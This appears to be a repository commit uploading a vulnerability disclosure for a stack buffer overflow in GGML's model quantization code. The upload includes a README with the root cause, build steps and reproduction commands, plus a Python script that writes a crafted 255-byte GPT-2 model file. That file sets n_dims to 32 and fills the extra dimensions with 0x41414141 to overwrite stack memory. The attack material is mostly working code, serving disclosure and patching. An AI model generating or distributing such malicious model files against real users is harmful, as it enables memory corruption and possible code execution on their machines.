ericblackgachara commited on
Commit
b8bfb10
·
verified ·
1 Parent(s): 42a0f50

Upload 4 files

Browse files

Stack Buffer Overflow via Unbounded n_dims in Model Quantization (CWE-121)

.gitattributes CHANGED
@@ -33,3 +33,4 @@ saved_model/**/* filter=lfs diff=lfs merge=lfs -text
33
  *.zip filter=lfs diff=lfs merge=lfs -text
34
  *.zst filter=lfs diff=lfs merge=lfs -text
35
  *tfevents* filter=lfs diff=lfs merge=lfs -text
 
 
33
  *.zip filter=lfs diff=lfs merge=lfs -text
34
  *.zst filter=lfs diff=lfs merge=lfs -text
35
  *tfevents* filter=lfs diff=lfs merge=lfs -text
36
+ PoC[[:space:]]Proof[[:space:]]—[[:space:]]GGML[[:space:]]Stack[[:space:]]Buffer[[:space:]]Overflow[[:space:]]in[[:space:]]Model[[:space:]]Quantization[[:space:]](CWE-121).pdf filter=lfs diff=lfs merge=lfs -text
PoC Proof — GGML Stack Buffer Overflow in Model Quantization (CWE-121).pdf ADDED
@@ -0,0 +1,3 @@
 
 
 
 
1
+ version https://git-lfs.github.com/spec/v1
2
+ oid sha256:cbf1adec1a06cd821676dfe279501b52c518254cfbd15fd77befeb035089a178
3
+ size 345147
README.md ADDED
@@ -0,0 +1,44 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ # GGML common-ggml.cpp — Stack Buffer Overflow (CWE-121)
2
+
3
+ A crafted 255-byte model file causes a stack buffer overflow in `gpt-2-quantize` / `gpt-j-quantize` with attacker-controlled data, enabling potential code execution.
4
+
5
+ ## Vulnerability
6
+
7
+ **File:** `examples/common-ggml.cpp:113-116` in `ggml_common_quantize_0()`
8
+ **Root Cause:** `n_dims` is read from the model file with no bounds check, then used to index `int32_t ne[4]`. Setting `n_dims > 4` writes attacker-controlled data past the 16-byte stack array.
9
+
10
+ ## Reproduction
11
+
12
+ ```bash
13
+ # Generate the malicious model file
14
+ python3 gen_stack_overflow_v2.py
15
+
16
+ # Build ggml with AddressSanitizer
17
+ git clone https://github.com/ggerganov/ggml && cd ggml
18
+ mkdir build && cd build
19
+ cmake .. -DCMAKE_BUILD_TYPE=Debug \
20
+ -DCMAKE_CXX_FLAGS="-fsanitize=address -fno-omit-frame-pointer" \
21
+ -DCMAKE_C_FLAGS="-fsanitize=address -fno-omit-frame-pointer" \
22
+ -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \
23
+ -DCMAKE_SHARED_LINKER_FLAGS="-fsanitize=address"
24
+ make -j4 gpt-2-quantize
25
+
26
+ # Trigger crash
27
+ ./bin/gpt-2-quantize malicious_gpt2_v2.bin output.bin q4_0
28
+ # Result: Segmentation fault (without ASan) / ASan: stack-buffer-overflow (with ASan)
29
+ ```
30
+
31
+ ## Files
32
+
33
+ | File | Description |
34
+ |---|---|
35
+ | `malicious_gpt2_v2.bin` | 255-byte malicious GPT-2 model file (n_dims=32) |
36
+ | `gen_stack_overflow_v2.py` | Python generator script |
37
+
38
+ ## Impact
39
+
40
+ Stack buffer overflow with attacker-controlled data. Overwrites saved registers, return address, and adjacent stack variables in `ggml_common_quantize_0()`. Potential for arbitrary code execution when a user quantizes a malicious model file.
41
+
42
+ ## Tested Version
43
+
44
+ ggml 0.11.0 (commit ac6f7b44f60fde0091f0b3d99afde48f8c99b13a)
gen_stack_overflow_v2.py ADDED
@@ -0,0 +1,47 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import struct
2
+
3
+ def write_malicious_gpt2_model(path):
4
+ buf = bytearray()
5
+
6
+ # Magic: GGML_FILE_MAGIC
7
+ buf += struct.pack('<I', 0x67676d6c)
8
+
9
+ # Hyperparameters
10
+ n_vocab = 2 # minimal vocab
11
+ buf += struct.pack('<i', n_vocab) # n_vocab (in hparams)
12
+ buf += struct.pack('<i', 1024) # n_ctx
13
+ buf += struct.pack('<i', 768) # n_embd
14
+ buf += struct.pack('<i', 12) # n_head
15
+ buf += struct.pack('<i', 12) # n_layer
16
+ buf += struct.pack('<i', 1) # ftype
17
+
18
+ # Vocab section starts with n_vocab again
19
+ buf += struct.pack('<i', n_vocab)
20
+
21
+ # Vocab entries (minimal)
22
+ for i in range(n_vocab):
23
+ word = f't{i}'.encode()
24
+ buf += struct.pack('<I', len(word))
25
+ buf += word
26
+
27
+ # Tensor: n_dims=32 triggers stack overflow in ne[4]
28
+ n_dims = 32
29
+ buf += struct.pack('<i', n_dims)
30
+
31
+ tensor_name = b'weights'
32
+ buf += struct.pack('<i', len(tensor_name))
33
+ buf += struct.pack('<i', 0) # ttype = F32
34
+
35
+ # Dimensions - first 4 go into ne[4], rest overflow stack
36
+ for i in range(n_dims):
37
+ buf += struct.pack('<i', 0x41414141 if i >= 4 else 1)
38
+
39
+ buf += tensor_name
40
+ # Some dummy tensor data
41
+ buf += b'\x00' * 64
42
+
43
+ with open(path, 'wb') as f:
44
+ f.write(buf)
45
+ print(f'Written {len(buf)} bytes to {path}')
46
+
47
+ write_malicious_gpt2_model('/tmp/ggml-poc/malicious_gpt2_v2.bin')
malicious_gpt2_v2.bin ADDED
@@ -0,0 +1,3 @@
 
 
 
 
1
+ version https://git-lfs.github.com/spec/v1
2
+ oid sha256:69610a4e1648eab6af2267e089c07e23adb42cceba5833c61565e0e1e1eca5dd
3
+ size 255